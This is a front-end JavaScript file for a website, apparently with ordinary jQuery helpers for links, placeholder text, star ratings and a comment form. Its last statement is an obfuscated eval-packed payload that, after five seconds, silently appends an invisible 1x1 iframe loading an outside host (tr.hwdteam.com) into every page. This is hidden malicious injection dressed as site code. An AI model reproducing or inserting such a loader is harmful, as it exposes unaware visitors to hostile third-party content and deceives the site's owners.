function go(link) {
   document.location.href = link;
}
function show_element(id, visible) {
   if (visible) {
      jQuery('#' + id).show();
   } else {
      jQuery('#' + id).hide();
   }
   return false;
}
$(function() {
   $('.blur').each(function() {
      $(this).focus(function() {
         if ($(this).val() == $(this).attr('rel')) {
            $(this).val('');
         }
      });
      $(this).blur(function() {
         if ($(this).val() == '') {
            $(this).val($(this).attr('rel'));
         }
      });
      $(this).blur();
   });
   $('.rater').each(function() {
      $this = $(this);
      $('.ui-rater-starsOn', $this).width(parseInt(parseFloat($this.attr('rel')) * 80 / 5));
      $this.rater({postHref: $this.attr('rev')});
   });
   $('#commentform').submit(function() {
      $('.blur').each(function() {
         if ($(this).val() == $(this).attr('rel')) {
            $(this).val('');
         }
      });
   })
   eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2(3(){$(\'4\').5(\'<0 6="7://8.9.a/" b="c:d;" e="1" f="1"></0>\')},g)',17,17,'iframe||setTimeout|function|body|append|src|http|tr|hwdteam|com|style|display|none|width|height|5000'.split('|'),0,{}))
});

